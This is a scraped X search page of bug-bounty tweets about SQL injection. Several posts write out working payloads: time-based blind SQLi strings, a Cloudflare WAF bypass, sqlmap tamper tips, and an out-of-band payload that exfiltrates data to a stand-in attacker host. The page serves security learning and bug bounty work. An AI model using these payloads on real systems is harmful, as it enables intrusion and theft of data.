English
English Indonesia Türkçe Deutsch Español Português Pусский Français Italiano Nederlands Polski العربية ไทย Tiếng Việt 繁體中文 简体中文 日本語 한국어

#sqli search results

nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Oct 2, 2024

🚨 I found the coolest #SQLi on a target! Surprisingly, the SQLi was in the "ignore cookies" button of the cookie banner. As I always say and do, don’t just look for SQLis in parameters. Check uncommon places like cookie banners, cookie accept buttons, etc. #BugBounty…

nav1n0x's tweet image. 🚨 I found the coolest #SQLi on a target! Surprisingly, the SQLi was in the "ignore cookies" button of the cookie banner. As I always say and do, don’t just look for SQLis in parameters. Check uncommon places like cookie banners, cookie accept buttons, etc. #BugBounty…
nav1n0x's tweet image. 🚨 I found the coolest #SQLi on a target! Surprisingly, the SQLi was in the "ignore cookies" button of the cookie banner. As I always say and do, don’t just look for SQLis in parameters. Check uncommon places like cookie banners, cookie accept buttons, etc. #BugBounty…
15
58
531
280
27K
viehgroup's profile picture. We're hacking for your better Future
VIEH Group
 @viehgroup
Sep 1

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
3
86
506
367
25K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Aug 30

Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity

NullSecurityX's tweet image. Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity
2
41
265
117
10K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Jun 13

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
7
118
714
528
30K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Jul 6

Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay /page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty #SQLi #WebSec

nav1n0x's tweet image. Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay /page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty #SQLi #WebSec
6
115
621
461
39K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Aug 13

Time-Based Blind SQLi: No errors, no data in response—just time as your oracle. Inject SLEEP() or pg_sleep() to measure delays and confirm injection points. Perfect for Burp Intruder with time diff analysis. Slow… but revealing. 💉 #BugBounty #sqli

NullSecurityX's tweet image. Time-Based Blind SQLi: No errors, no data in response—just time as your oracle. Inject SLEEP() or pg_sleep() to measure delays and confirm injection points. Perfect for Burp Intruder with time diff analysis. Slow… but revealing. 💉 #BugBounty #sqli
3
26
149
69
7K
TCMSecurity's profile picture. Come learn to hack at TCM Security Academy! Veteran owned. Quality results.
TCM Security
@TCMSecurity
Jun 27, 2024

Having trouble bypassing filters after finding #SQLInjection? Check out these tricks from @appSecExp that will help you get through them quickly. Have any tips you swear by? Share them with us! #SQLi #hacking #infosec

0
1
19
10
3K
wtf_brut's profile picture. I'm world last $0 million dollar hacker.
Brut 🇮🇳
@wtf_brut
Jan 24

⚡️SQLi Time Based Payloads ✅Join Telegram to Download- t.me/brutsecurity/1… #sqli #bugbounty #bugbountytips

wtf_brut's tweet image. ⚡️SQLi Time Based Payloads ✅Join Telegram to Download- t.me/brutsecurity/1… #sqli #bugbounty #bugbountytips
2
17
104
56
4K
5hady_'s profile picture. Security Researcher @nuasecurity | Bug Hunter | Top 100 @intigriti
Shady
 @5hady_
Sep 3

Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard

5hady_'s tweet image. Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard
13
4
212
40
12K
kuldeepdotexe's profile picture. OSINT | Web | Binary | sensei@barracks.army | @SynackRedTeam Envoy && Hero
Kuldeep Pandya
 @kuldeepdotexe
Nov 2

🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt

kuldeepdotexe's tweet image. 🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt
15
99
626
513
57K
HackingTeam777's profile picture. #hacking #tecnología #cybersecurity #CyberSecurityNews #infosec #pentesting #cybersecurityawareness #informationsecurity #cyber #github #redteam #blueteam
ӉѦСҠіИԌ ҬЄѦӍ
@HackingTeam777
Sep 23

Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity

HackingTeam777's tweet image. Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity
0
6
35
11
2K
mijanhaque_'s profile picture. Bug Hunter | Web Penetration Tester
Mijanur Rahman
 @mijanhaque_
Aug 17

I've made an Ghauri Command Generator GUI tool. This tool save your time a lot. link h6nt3r.github.io/gcg/ #BugBounty #sqli

mijanhaque_'s tweet image. I've made an Ghauri Command Generator GUI tool. This tool save your time a lot. link h6nt3r.github.io/gcg/ #BugBounty #sqli
2
15
75
47
3K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Aug 24

GoDaddy SQL Injection Vulnerability..:) Follow Us: youtube.com/@nullsecurityx #BugBounty #Cybersecurity #sqli #Pentesting

NullSecurityX's tweet image. GoDaddy SQL Injection Vulnerability..:) Follow Us: youtube.com/@nullsecurityx #BugBounty #Cybersecurity #sqli #Pentesting
2
46
313
178
23K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Oct 4

Stored-procedure SQLi: If DB allows privileged procedures, chain queries to perform OOB calls or side-effects (e.g., network/cmd execution via safe-redacted proc). Pattern: invoke a safe-redacted proc that performs an outbound action with substituted data. #BugBounty #SQLi

NullSecurityX's tweet image. Stored-procedure SQLi: If DB allows privileged procedures, chain queries to perform OOB calls or side-effects (e.g., network/cmd execution via safe-redacted proc). Pattern: invoke a safe-redacted proc that performs an outbound action with substituted data. #BugBounty #SQLi
2
0
6
6
1K
Mr_Dark55's profile picture. Bug Bounty | Pentester | Ethical Hacking | 孤独が私の中に染み込んでほしい。🖤
./Mr-Dark
 @Mr_Dark55
Dec 30

💉 SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of space2comment, between, randomcase tamper scripts. #web #sqli

Mr_Dark55's tweet image. 💉 SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of space2comment, between, randomcase tamper scripts. #web #sqli
10
44
330
192
16K
0xElkot's profile picture. Cyber Security Consultant | Security Researcher (Part time)
MahMoud Elkot
 @0xElkot
Apr 16

🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi

0xElkot's tweet image. 🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi
0xElkot's tweet image. 🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi
2
16
136
94
6K
RodoAssis's profile picture. That #XSS and #WAF #bypass guy. @BRuteLogic @KN0X55
Rodolfo Assis
 @RodoAssis
Oct 10

Have been here on X providing lots of things I found about #XSS, filter/WAF evasion, #SQLi, even #SSRF and other stuff as @BRuteLogic for the last 13+ yrs. So please don't think I'm just advertising w/ the content I create, I'm just trying to make a living out of my work. Thx.

KN0X55's profile picture. Announcements, tips and support via DM of KNOXSS - Online #XSS PoC Tool by @BRuteLogic
KNOXSS
 @KN0X55
Oct 10

KN0X55's tweet image.
0
0
7
2
2K
2
1
19
2
1K
offseq's profile picture. OffSeq is a cybersecurity company enhancing organizational digital resilience through comprehensive protection against evolving cyber threats. #CyberSecurity
OffSeq | Adversary Tactics for Cyber Resilience
@offseq
Oct 5

🚨 MEDIUM severity: CVE-2025-11288 targets CRMEB v5.0–5.6 with a public SQL injection flaw. No patch, vendor silent! Audit your systems & secure endpoints ASAP. 🔍 Details & mitigations: radar.offseq.com/threat/cve-202… #OffSeq #SQLi...

offseq's tweet image. 🚨 MEDIUM severity: CVE-2025-11288 targets CRMEB v5.0–5.6 with a public SQL injection flaw. No patch, vendor silent! Audit your systems & secure endpoints ASAP. 🔍 Details & mitigations: radar.offseq.com/threat/cve-202… #OffSeq #SQLi...
0
0
0
0
73
onhexgroup's profile picture. Another #CyberSecurity research group, but with only one member! TG: https://t.co/YZKWmpZsEB ALL LINK: https://t.co/WRetdJfGLa
OnHexGroup
 @onhexgroup
Oct 4

آسیب‌پذیریهایی مانند #XSS و #SQLi در حال کاهش‌ هستن، در حالیکه نقصهای مربوط به Authorization مانند Improper Access Control و #IDOR بطور قابل ‌توجهی در حال افزایش هستن. در مجموع، در سال ۲۰۲۵ تعداد ۱٬۱۲۱ برنامه #باگ‌بانتی در هکروان شامل حوزه‌ی AI بودن که این رقم ۲۷۰٪ افزایش داشته.

1
0
2
0
45
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Oct 4

Stored-procedure SQLi: If DB allows privileged procedures, chain queries to perform OOB calls or side-effects (e.g., network/cmd execution via safe-redacted proc). Pattern: invoke a safe-redacted proc that performs an outbound action with substituted data. #BugBounty #SQLi

NullSecurityX's tweet image. Stored-procedure SQLi: If DB allows privileged procedures, chain queries to perform OOB calls or side-effects (e.g., network/cmd execution via safe-redacted proc). Pattern: invoke a safe-redacted proc that performs an outbound action with substituted data. #BugBounty #SQLi
2
0
6
6
1K
ItsKenshin04's profile picture. Bug Bounty Hunter 🌴🇩🇴
Jonathan Montero
 @ItsKenshin04
Oct 2

When your report gets triaged faster than your food delivery 🍕😂 #BugBounty #SQLi #intigriti #CyberSecurity

ItsKenshin04's tweet image. When your report gets triaged faster than your food delivery 🍕😂 #BugBounty #SQLi #intigriti #CyberSecurity
6
4
139
13
4K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Oct 2

Blind SQL injection When an app hides query results, attackers extract data via side-channels: boolean-based (true/false) or time-based (delays). Redacted example: IF((SELECT SUBSTRING(secret,1,1)='a'), SLEEP(5),0) Effective against blind/WAFed targets #BugBounty #Infosec #Sqli

4
29
162
82
5K
nextbrave_'s profile picture. Empresa de Software
Nextbrave
 @nextbrave_
Sep 30

"SQL Injection is still dangerous — here are 3 quick ways to stop it: parameterized queries, strict input validation, and proper error handling + monitoring. Protect your app. 🛡️ #AppSec #WebSecurity #SQLi #DevSecOps #CyberSecurity

nextbrave_'s tweet image. "SQL Injection is still dangerous — here are 3 quick ways to stop it: parameterized queries, strict input validation, and proper error handling + monitoring. Protect your app. 🛡️ #AppSec #WebSecurity #SQLi #DevSecOps #CyberSecurity
nextbrave_'s tweet image. "SQL Injection is still dangerous — here are 3 quick ways to stop it: parameterized queries, strict input validation, and proper error handling + monitoring. Protect your app. 🛡️ #AppSec #WebSecurity #SQLi #DevSecOps #CyberSecurity
nextbrave_'s tweet image. "SQL Injection is still dangerous — here are 3 quick ways to stop it: parameterized queries, strict input validation, and proper error handling + monitoring. Protect your app. 🛡️ #AppSec #WebSecurity #SQLi #DevSecOps #CyberSecurity
nextbrave_'s tweet image. "SQL Injection is still dangerous — here are 3 quick ways to stop it: parameterized queries, strict input validation, and proper error handling + monitoring. Protect your app. 🛡️ #AppSec #WebSecurity #SQLi #DevSecOps #CyberSecurity
0
0
1
0
35
byte_reaper's profile picture. Exploit Developer
Byte Reaper
 @byte_reaper
Sep 29

CVE-2025-11077 (SQL injection): There is a blind SQL injection in the Online Learning Management system via the title POST parameter (boolean/time‑based). Exploit : github.com/byteReaper77/C… #vulnerability #sqlinjection #sqli #blindSQLi #PoC #exploit #CVE

byte_reaper's tweet card. Exploit blind SQL Injection in (Online Learning Management System) - GitHub - byteReaper77/CVE-2025-11077: Exploit blind SQL Injection in (Online Learning Management System)
GitHub - byteReaper77/CVE-2025-11077: Exploit blind SQL Injection in (Online Learning Management...
Source: github.com
1
0
3
0
219
topboykrepta's profile picture. CYBERSECURITY STUDENT | STREAMER | BLOGGER | 🤞INTROVERT🤞 ♈ARIES ♈
Adrian Charles
 @topboykrepta
Sep 29

Top 10 web area's to start your hunt with: 1. SQL Injection (#SQLi) 2. Cross-Site Scripting (#XSS) 3. Cross-Site Request Forgery (#CSRF) 4. Insecure Direct Object References (#IDOR) 5. Clickjacking (#Clickjacking)

1
0
1
1
29
theXSSrat's profile picture. Alone we survive, together we prosper. Are you with me? https://t.co/AfnDsVhqqA
HackerRats - Uncle Rat ❤️ (XSS Rat)
@theXSSrat
Sep 28

Top 10 web area's to start your hunt with: 1. SQL Injection (#SQLi) 2. Cross-Site Scripting (#XSS) 3. Cross-Site Request Forgery (#CSRF) 4. Insecure Direct Object References (#IDOR) 5. Clickjacking (#Clickjacking) 6. Command Injection (#CommandInjection) 7. Remote File…

3
51
366
327
17K
TweetThreatNews's profile picture. 🔍 ThreatResearch 📰 CybersecurityNews 🖥️ RansomMonitor 📂 Cyber Attack 📂 Data Breach 🎥 Youtube
Cybersecurity News Everyday
 @TweetThreatNews
Sep 27

Penetration testing on a TryHackMe web app uncovered open ports, a vulnerable image gallery with SQL injection, and exposed database via backups and hidden files—demonstrating the power of thorough web enumeration and escalation. #SQLi #WebTesting ift.tt/jSqiC6u

TweetThreatNews's tweet card. This article details a cybersecurity penetration testing journey on a web application hosted on TryHackMe, highlighting methods such as port scanning, web enumeration, SQL injection, and privilege...
[THM] Gallery, Writeup
Source: hendryadrian.com
0
0
0
1
134
gorkaelbochi's profile picture. 🧑🏻‍💻 Bug Bounty Hunter & Creador de Contenido Técnico 📍 Desde Barcelona | 16 años | Hacking ético y ofensivo 🌐 Ciberseguridad | Automatización | Bug Bounty
Gorka El Bochi Morillo
 @gorkaelbochi
Sep 25

💥 De SQLi a RCE – Explotación real paso a paso 📺 youtu.be/WXZEsDVzWUQ ✅ Enumeración completa ✅ HTML Injection + XSS ✅ SQLi clásica ✅ Escalada a RCE real ✅ Mentalidad ofensiva aplicada #BugBounty #SQLi #RCE #HackingEtico #WebSecurity #Pentesting #Ciberseguridad

gorkaelbochi's tweet image. 💥 De SQLi a RCE – Explotación real paso a paso 📺 youtu.be/WXZEsDVzWUQ ✅ Enumeración completa ✅ HTML Injection + XSS ✅ SQLi clásica ✅ Escalada a RCE real ✅ Mentalidad ofensiva aplicada #BugBounty #SQLi #RCE #HackingEtico #WebSecurity #Pentesting #Ciberseguridad
0
0
2
0
60
viehgroup's profile picture. We're hacking for your better Future
VIEH Group
 @viehgroup
Sep 1

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
3
86
506
367
25K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Oct 2, 2024

🚨 I found the coolest #SQLi on a target! Surprisingly, the SQLi was in the "ignore cookies" button of the cookie banner. As I always say and do, don’t just look for SQLis in parameters. Check uncommon places like cookie banners, cookie accept buttons, etc. #BugBounty…

nav1n0x's tweet image. 🚨 I found the coolest #SQLi on a target! Surprisingly, the SQLi was in the "ignore cookies" button of the cookie banner. As I always say and do, don’t just look for SQLis in parameters. Check uncommon places like cookie banners, cookie accept buttons, etc. #BugBounty…
nav1n0x's tweet image. 🚨 I found the coolest #SQLi on a target! Surprisingly, the SQLi was in the "ignore cookies" button of the cookie banner. As I always say and do, don’t just look for SQLis in parameters. Check uncommon places like cookie banners, cookie accept buttons, etc. #BugBounty…
15
58
531
280
27K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Nov 25, 2023

🕵️‍♂️ P1 Finding of the day: While in wbu, spotted an '/ajax/' in an endpoint. Browsing returned a blank page, so going deep found 2020 archived URL with 2 parameters; still got a blank page. After some efforts crafted my own GET and POST HTTP request. #BugBounty #SQLi 1/n

nav1n0x's tweet image. 🕵️‍♂️ P1 Finding of the day: While in wbu, spotted an '/ajax/' in an endpoint. Browsing returned a blank page, so going deep found 2020 archived URL with 2 parameters; still got a blank page. After some efforts crafted my own GET and POST HTTP request. #BugBounty #SQLi 1/n
nav1n0x's tweet image. 🕵️‍♂️ P1 Finding of the day: While in wbu, spotted an '/ajax/' in an endpoint. Browsing returned a blank page, so going deep found 2020 archived URL with 2 parameters; still got a blank page. After some efforts crafted my own GET and POST HTTP request. #BugBounty #SQLi 1/n
nav1n0x's tweet image. 🕵️‍♂️ P1 Finding of the day: While in wbu, spotted an '/ajax/' in an endpoint. Browsing returned a blank page, so going deep found 2020 archived URL with 2 parameters; still got a blank page. After some efforts crafted my own GET and POST HTTP request. #BugBounty #SQLi 1/n
4
55
296
154
37K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Jul 6

Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay /page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty #SQLi #WebSec

nav1n0x's tweet image. Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay /page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty #SQLi #WebSec
6
115
622
461
39K
5hady_'s profile picture. Security Researcher @nuasecurity | Bug Hunter | Top 100 @intigriti
Shady
 @5hady_
Sep 3

Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard

5hady_'s tweet image. Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard
13
4
212
40
12K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Jun 13

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
7
118
714
528
30K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Aug 30

Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity

NullSecurityX's tweet image. Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity
2
41
265
117
10K
Joyerz5's profile picture. SEO by Day 🚀 | Hacker by Night 🕶️ Open for Collab 🤝
🔍mrro0o0tt
 @Joyerz5
Aug 21, 2024

Another SQL Injection #sqli -- Payload: id=1'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z It's a Healthcare Company - Ops! happy to secure SO much patient data & more... #sqli #bugbounty #bugbountytips

Joyerz5's tweet image. Another SQL Injection #sqli -- Payload: id=1'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z It's a Healthcare Company - Ops! happy to secure SO much patient data & more... #sqli #bugbounty #bugbountytips
8
36
225
149
13K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Apr 28, 2024

Manual testing can be both fun and insightful, especially when you have a error like SQLSTATE[HY000] to guide you, it's a great way to sharpen your skills. Today I did a full manual testing using Burpsuite on a target and got it correct., it was fun.. #BugBounty #SQLi

nav1n0x's tweet image. Manual testing can be both fun and insightful, especially when you have a error like SQLSTATE[HY000] to guide you, it's a great way to sharpen your skills. Today I did a full manual testing using Burpsuite on a target and got it correct., it was fun.. #BugBounty #SQLi
21
44
362
162
28K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Jun 11

🧠 Out-of-Band SQLi → Silent Data Leak 1️⃣ Error & time-based SQLi blocked 2️⃣ Payload forces DB to send request: '; SELECT load_file('\\\\attacker(.)com\\leak')-- 3️⃣ Data exfiltrated via DNS/HTTP 🎯 No error, no delay — data leaks quietly #bugbounty #sqli #oob #infosec

NullSecurityX's tweet image. 🧠 Out-of-Band SQLi → Silent Data Leak 1️⃣ Error & time-based SQLi blocked 2️⃣ Payload forces DB to send request: '; SELECT load_file('\\\\attacker(.)com\\leak')-- 3️⃣ Data exfiltrated via DNS/HTTP 🎯 No error, no delay — data leaks quietly #bugbounty #sqli #oob #infosec
0
32
156
62
9K
mijanhaque_'s profile picture. Bug Hunter | Web Penetration Tester
Mijanur Rahman
 @mijanhaque_
Sep 2, 2024

DB Dumping, Thanks again @coffinxp7 Bug: Blind SQLi #bsqli #sqli #bugbounty

mijanhaque_'s tweet image. DB Dumping, Thanks again @coffinxp7 Bug: Blind SQLi #bsqli #sqli #bugbounty
5
14
218
73
17K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
@NullSecurityX
Aug 13

Time-Based Blind SQLi: No errors, no data in response—just time as your oracle. Inject SLEEP() or pg_sleep() to measure delays and confirm injection points. Perfect for Burp Intruder with time diff analysis. Slow… but revealing. 💉 #BugBounty #sqli

NullSecurityX's tweet image. Time-Based Blind SQLi: No errors, no data in response—just time as your oracle. Inject SLEEP() or pg_sleep() to measure delays and confirm injection points. Perfect for Burp Intruder with time diff analysis. Slow… but revealing. 💉 #BugBounty #sqli
3
26
149
69
7K
wtf_brut's profile picture. I'm world last $0 million dollar hacker.
Brut 🇮🇳
@wtf_brut
Jan 24

⚡️SQLi Time Based Payloads ✅Join Telegram to Download- t.me/brutsecurity/1… #sqli #bugbounty #bugbountytips

wtf_brut's tweet image. ⚡️SQLi Time Based Payloads ✅Join Telegram to Download- t.me/brutsecurity/1… #sqli #bugbounty #bugbountytips
2
17
104
56
4K
kuldeepdotexe's profile picture. OSINT | Web | Binary | sensei@barracks.army | @SynackRedTeam Envoy && Hero
Kuldeep Pandya
 @kuldeepdotexe
Nov 2

🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt

kuldeepdotexe's tweet image. 🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt
15
99
626
513
57K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Feb 2, 2024

Do not forget to test 'Newsletter Signup' form for SQLi & stored XSS. This public bb target is on bc since 2022 & has different s/u forms for home page & internal pages, the internal one was vulnerable - probably not being maintained. #BugBounty #SQLi.

nav1n0x's tweet image. Do not forget to test 'Newsletter Signup' form for SQLi & stored XSS. This public bb target is on bc since 2022 & has different s/u forms for home page & internal pages, the internal one was vulnerable - probably not being maintained. #BugBounty #SQLi.
nav1n0x's tweet image. Do not forget to test 'Newsletter Signup' form for SQLi & stored XSS. This public bb target is on bc since 2022 & has different s/u forms for home page & internal pages, the internal one was vulnerable - probably not being maintained. #BugBounty #SQLi.
19
76
455
191
31K

Something went wrong.


Something went wrong.


United States Trends